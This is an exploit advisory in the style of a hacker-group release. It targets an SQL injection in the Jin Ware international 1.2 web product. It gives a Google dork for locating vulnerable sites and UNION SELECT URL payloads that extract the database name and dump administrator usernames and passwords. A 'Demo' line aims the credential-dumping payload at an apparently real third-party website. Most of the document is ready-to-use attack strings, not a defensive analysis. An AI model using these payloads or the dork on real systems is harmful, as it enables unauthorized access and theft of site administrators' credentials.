############################################################################
# Exploit Title: Jin Ware international 1.2 SQL Injection Vulnerability
# Google Dork: Powered by Jin Ware international 1.2
# Date: 20/12/2011
# Author: H4ckCity Security Team
# Discovered By: farbodmahini
# Home: WwW.H4ckCity.Org
# Software Link: http://www.webseo.tw
# Version: All Version
# Security Risk::High
# Tested on: GNU/Linux Ubuntu - Windows Server
############################################################################
# Exploit:
#
# The column number for default is 60 but they are the site have the diffrent column number
#
# For get the Database:
#
# http://target.com/product/product.php?en=en&class1=7+union/*!select*/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60--
#
# For get the Username & Password(change the 'database') :
#
# http://target.com/product/product.php?en=en&class1=7+union/*!select*/1,2,group_concat(admin_id,0x3a,admin_pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60+from+database.jinware_admin_table--
#
# Demo:
#
# http://hhtool.com.tw/product/product.php?en=en&class1=7+union/*!select*/null,null,group_concat%28admin_id,0x3a,admin_pass%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,null+from+hhtoolc_web.jinware_admin_table+limit+65,1--
#
############################################################################
# Special Thanks : Mehdi.H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R-
# nitrojen90-K0242-kingcope-Mr.M4st3r - 1337day.com , ...
############################################################################
GreetZ : All H4ckCity Member - BHG members
############################################################################